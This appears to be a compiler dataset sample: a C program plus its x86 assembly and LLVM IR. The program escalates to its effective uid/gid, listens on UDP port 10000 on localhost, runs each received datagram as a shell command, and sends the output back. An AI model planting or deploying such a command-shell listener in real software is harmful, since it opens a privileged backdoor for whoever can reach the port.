#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ srv_addr;
typedef int /*<<< orphan*/ client_addr;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_DGRAM;
int bind(int, struct sockaddr *, int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ executeShell(char *, char *);
int /*<<< orphan*/ getegid();
int /*<<< orphan*/ geteuid();
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ inet_addr(char *);
int /*<<< orphan*/ memset(char *, char, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, char *, char *);
int /*<<< orphan*/ recvfrom(int, char *, int, int /*<<< orphan*/,
                            struct sockaddr *, int *);
int /*<<< orphan*/ sendto(int, char *, scalar_t__, int /*<<< orphan*/,
                          struct sockaddr *, int);
int /*<<< orphan*/ setgid(int /*<<< orphan*/);
int /*<<< orphan*/ setuid(int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
scalar_t__ strlen(char *);
int /*<<< orphan*/ usleep(int);
int main(int argc, char **argv) {
  int socket_fd;
  char recv_buf[1024];
  char ret_buf[1024];
  int len, ret;
  setuid(geteuid());
  setgid(getegid());
  socket_fd = socket(AF_INET, SOCK_DGRAM, 0);
  struct sockaddr_in srv_addr, client_addr;
  if (socket_fd < 0) {
    perror("Can not create socket");
    return 1;
  }
  srv_addr.sin_family = AF_INET;
  srv_addr.sin_port = htons(10000);
  srv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
  ret = bind(socket_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
  if (ret < 0) {
    perror("Can not bind socket");
    close(socket_fd);
    return 1;
  }
  len = sizeof(client_addr);
  while (1) {
    memset(recv_buf, '\0', 1024);
    recvfrom(socket_fd, recv_buf, 1024, 0, (struct sockaddr *)&client_addr,
             &len);
    executeShell(recv_buf, ret_buf);
    printf("shell: %s\n%s", recv_buf, ret_buf);
    usleep(10000);
    sendto(socket_fd, ret_buf, strlen(ret_buf) + 1, 0,
           (struct sockaddr *)&client_addr, len);
  }
  close(socket_fd);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x860,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    $0x0,%al
call   1070 <geteuid@plt>
mov    %eax,%edi
call   1110 <setuid@plt>
mov    $0x0,%al
call   10d0 <getegid@plt>
mov    %eax,%edi
call   10f0 <setgid@plt>
mov    0x2d9c(%rip),%rax
mov    (%rax),%edi
mov    0x2d8b(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1130 <socket@plt>
mov    %eax,-0x14(%rbp)
cmpl   $0x0,-0x14(%rbp)
jge    1283 <main+0x73>
lea    0xd8e(%rip),%rdi
call   1100 <perror@plt>
movl   $0x1,-0x4(%rbp)
jmp    13cb <main+0x1bb>
mov    0x2d5e(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x830(%rbp)
mov    $0x2710,%edi
call   1040 <htons@plt>
mov    %eax,-0x834(%rbp)
lea    0xd6d(%rip),%rdi
call   10a0 <inet_addr@plt>
mov    %eax,-0x838(%rbp)
mov    -0x14(%rbp),%edi
lea    -0x838(%rbp),%rsi
mov    $0xc,%edx
call   10e0 <bind@plt>
mov    %eax,-0x828(%rbp)
cmpl   $0x0,-0x828(%rbp)
jge    12fb <main+0xeb>
lea    0xd3e(%rip),%rdi
call   1100 <perror@plt>
mov    -0x14(%rbp),%edi
call   1090 <close@plt>
movl   $0x1,-0x4(%rbp)
jmp    13cb <main+0x1bb>
movl   $0xc,-0x824(%rbp)
lea    -0x420(%rbp),%rdi
xor    %esi,%esi
mov    $0x400,%edx
call   1060 <memset@plt>
mov    -0x14(%rbp),%edi
lea    -0x420(%rbp),%rsi
lea    -0x848(%rbp),%r8
mov    $0x400,%edx
xor    %ecx,%ecx
lea    -0x824(%rbp),%r9
call   10c0 <recvfrom@plt>
lea    -0x420(%rbp),%rdi
lea    -0x820(%rbp),%rsi
call   10b0 <executeShell@plt>
lea    -0x420(%rbp),%rsi
lea    -0x820(%rbp),%rdx
lea    0xcd0(%rip),%rdi
call   1050 <printf@plt>
mov    $0x2710,%edi
call   1120 <usleep@plt>
mov    -0x14(%rbp),%eax
mov    %eax,-0x85c(%rbp)
lea    -0x820(%rbp),%rax
mov    %rax,-0x858(%rbp)
lea    -0x820(%rbp),%rdi
call   1030 <strlen@plt>
mov    -0x85c(%rbp),%edi
mov    -0x858(%rbp),%rsi
mov    %rax,%rdx
add    $0x1,%rdx
mov    %rdx,-0x850(%rbp)
lea    -0x848(%rbp),%r8
mov    -0x824(%rbp),%r9d
xor    %ecx,%ecx
call   1080 <sendto@plt>
jmp    1305 <main+0xf5>
mov    -0x4(%rbp),%eax
add    $0x860,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x838,%rsp
xor    %eax,%eax
call   1070 <geteuid@plt>
mov    %eax,%edi
call   1110 <setuid@plt>
xor    %eax,%eax
call   10d0 <getegid@plt>
mov    %eax,%edi
call   10f0 <setgid@plt>
mov    0x2da4(%rip),%rbx
mov    (%rbx),%edi
mov    0x2d93(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1130 <socket@plt>
test   %eax,%eax
js     133d <main+0x12d>
mov    %eax,%r12d
mov    (%rbx),%eax
mov    %eax,0x18(%rsp)
mov    $0x2710,%edi
call   1040 <htons@plt>
mov    %eax,0x14(%rsp)
lea    0xd9a(%rip),%rdi
call   10a0 <inet_addr@plt>
mov    %eax,0x10(%rsp)
lea    0x10(%rsp),%rsi
mov    %r12d,%edi
mov    $0xc,%edx
call   10e0 <bind@plt>
test   %eax,%eax
js     134b <main+0x13b>
movl   $0xc,0xc(%rsp)
lea    0x430(%rsp),%rbx
lea    0x20(%rsp),%r14
lea    0xc(%rsp),%r15
lea    0x30(%rsp),%rbp
lea    0xd6f(%rip),%r13
cs nopw 0x0(%rax,%rax,1)
nop
mov    %rbx,%rdi
xor    %esi,%esi
mov    $0x400,%edx
call   1060 <memset@plt>
mov    %r12d,%edi
mov    %rbx,%rsi
mov    $0x400,%edx
xor    %ecx,%ecx
mov    %r14,%r8
mov    %r15,%r9
call   10c0 <recvfrom@plt>
mov    %rbx,%rdi
mov    %rbp,%rsi
call   10b0 <executeShell@plt>
mov    %r13,%rdi
mov    %rbx,%rsi
mov    %rbp,%rdx
call   1050 <printf@plt>
mov    $0x2710,%edi
call   1120 <usleep@plt>
mov    %rbp,%rdi
call   1030 <strlen@plt>
lea    0x1(%rax),%rdx
mov    0xc(%rsp),%r9d
mov    %r12d,%edi
mov    %rbp,%rsi
xor    %ecx,%ecx
mov    %r14,%r8
call   1080 <sendto@plt>
jmp    12d0 <main+0xc0>
lea    0xcbc(%rip),%rdi
call   1100 <perror@plt>
jmp    135f <main+0x14f>
lea    0xcce(%rip),%rdi
call   1100 <perror@plt>
mov    %r12d,%edi
call   1090 <close@plt>
mov    $0x1,%eax
add    $0x838,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_DGRAM = global i32 0
@.str = [22 x i8] c"Can not create socket\00"
@.str.1 = [10 x i8] c"127.0.0.1\00"
@.str.2 = [20 x i8] c"Can not bind socket\00"
@.str.3 = [13 x i8] c"shell: %s\0A%s\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca [1024 x i8]
%8 = alloca [1024 x i8]
%9 = alloca i32
%10 = alloca i32
%11 = alloca %struct.sockaddr_in
%12 = alloca %struct.sockaddr_in
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%13 = call i32 (...) @geteuid()
%14 = call i32 @setuid(i32 %13)
%15 = call i32 (...) @getegid()
%16 = call i32 @setgid(i32 %15)
%17 = load i32, i32* @AF_INET
%18 = load i32, i32* @SOCK_DGRAM
%19 = call i32 @socket(i32 %17, i32 %18, i32 0)
store i32 %19, i32* %6
%20 = load i32, i32* %6
%21 = icmp slt i32 %20, 0
br i1 %21, label %22, label %24
22: ; preds = %2
%23 = call i32 @perror(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str, i64 0, i64 0))
store i32 1, i32* %3
br label %64
24: ; preds = %2
%25 = load i32, i32* @AF_INET
%26 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 2
store i32 %25, i32* %26
%27 = call i32 @htons(i32 10000)
%28 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 1
store i32 %27, i32* %28
%29 = call i32 @inet_addr(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0))
%30 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 0
%31 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %30, i32 0, i32 0
store i32 %29, i32* %31
%32 = load i32, i32* %6
%33 = bitcast %struct.sockaddr_in* %11 to %struct.sockaddr*
%34 = call i32 @bind(i32 %32, %struct.sockaddr* %33, i32 12)
store i32 %34, i32* %10
%35 = load i32, i32* %10
%36 = icmp slt i32 %35, 0
br i1 %36, label %37, label %41
37: ; preds = %24
%38 = call i32 @perror(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
%39 = load i32, i32* %6
%40 = call i32 @close(i32 %39)
store i32 1, i32* %3
br label %64
41: ; preds = %24
store i32 12, i32* %9
br label %42
42: ; preds = %41, %42
%43 = getelementptr inbounds [1024 x i8], [1024 x i8]* %7, i64 0, i64 0
%44 = call i32 @memset(i8* %43, i8 signext 0, i32 1024)
%45 = load i32, i32* %6
%46 = getelementptr inbounds [1024 x i8], [1024 x i8]* %7, i64 0, i64 0
%47 = bitcast %struct.sockaddr_in* %12 to %struct.sockaddr*
%48 = call i32 @recvfrom(i32 %45, i8* %46, i32 1024, i32 0, %struct.sockaddr* %47, i32* %9)
%49 = getelementptr inbounds [1024 x i8], [1024 x i8]* %7, i64 0, i64 0
%50 = getelementptr inbounds [1024 x i8], [1024 x i8]* %8, i64 0, i64 0
%51 = call i32 @executeShell(i8* %49, i8* %50)
%52 = getelementptr inbounds [1024 x i8], [1024 x i8]* %7, i64 0, i64 0
%53 = getelementptr inbounds [1024 x i8], [1024 x i8]* %8, i64 0, i64 0
%54 = call i32 @printf(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.3, i64 0, i64 0), i8* %52, i8* %53)
%55 = call i32 @usleep(i32 10000)
%56 = load i32, i32* %6
%57 = getelementptr inbounds [1024 x i8], [1024 x i8]* %8, i64 0, i64 0
%58 = getelementptr inbounds [1024 x i8], [1024 x i8]* %8, i64 0, i64 0
%59 = call i64 @strlen(i8* %58)
%60 = add nsw i64 %59, 1
%61 = bitcast %struct.sockaddr_in* %12 to %struct.sockaddr*
%62 = load i32, i32* %9
%63 = call i32 @sendto(i32 %56, i8* %57, i64 %60, i32 0, %struct.sockaddr* %61, i32 %62)
br label %42
64: ; preds = %37, %22
%65 = load i32, i32* %3
ret i32 %65
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_DGRAM = global i32 0
@.str = [22 x i8] c"Can not create socket\00"
@.str.1 = [10 x i8] c"127.0.0.1\00"
@.str.2 = [20 x i8] c"Can not bind socket\00"
@.str.3 = [13 x i8] c"shell: %s\0A%s\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [1024 x i8]
%4 = alloca [1024 x i8]
%5 = alloca i32
%6 = alloca %struct.sockaddr_in
%7 = alloca %struct.sockaddr_in
%8 = getelementptr inbounds [1024 x i8], [1024 x i8]* %3, i64 0, i64 0
%9 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%10 = bitcast i32* %5 to i8*
%11 = tail call i32 (...) @geteuid()
%12 = tail call i32 @setuid(i32 %11)
%13 = tail call i32 (...) @getegid()
%14 = tail call i32 @setgid(i32 %13)
%15 = load i32, i32* @AF_INET
%16 = load i32, i32* @SOCK_DGRAM
%17 = tail call i32 @socket(i32 %15, i32 %16, i32 0)
%18 = bitcast %struct.sockaddr_in* %6 to i8*
%19 = bitcast %struct.sockaddr_in* %7 to i8*
%20 = icmp slt i32 %17, 0
br i1 %20, label %21, label %23
21: ; preds = %2
%22 = tail call i32 @perror(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str, i64 0, i64 0))
br label %48
23: ; preds = %2
%24 = load i32, i32* @AF_INET
%25 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 2
store i32 %24, i32* %25
%26 = tail call i32 @htons(i32 10000)
%27 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 1
store i32 %26, i32* %27
%28 = tail call i32 @inet_addr(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0))
%29 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 0, i32 0
store i32 %28, i32* %29
%30 = bitcast %struct.sockaddr_in* %6 to %struct.sockaddr*
%31 = call i32 @bind(i32 %17, %struct.sockaddr* %30, i32 12)
%32 = icmp slt i32 %31, 0
br i1 %32, label %33, label %36
33: ; preds = %23
%34 = call i32 @perror(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
%35 = call i32 @close(i32 %17)
br label %48
36: ; preds = %23
store i32 12, i32* %5
%37 = bitcast %struct.sockaddr_in* %7 to %struct.sockaddr*
br label %38
38: ; preds = %38, %36
%39 = call i32 @memset(i8* %8, i8 signext 0, i32 1024)
%40 = call i32 @recvfrom(i32 %17, i8* %8, i32 1024, i32 0, %struct.sockaddr* %37, i32* %5)
%41 = call i32 @executeShell(i8* %8, i8* %9)
%42 = call i32 @printf(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.3, i64 0, i64 0), i8* %8, i8* %9)
%43 = call i32 @usleep(i32 10000)
%44 = call i64 @strlen(i8* %9)
%45 = add nsw i64 %44, 1
%46 = load i32, i32* %5
%47 = call i32 @sendto(i32 %17, i8* %9, i64 %45, i32 0, %struct.sockaddr* %37, i32 %46)
br label %38
48: ; preds = %33, %21
ret i32 1
}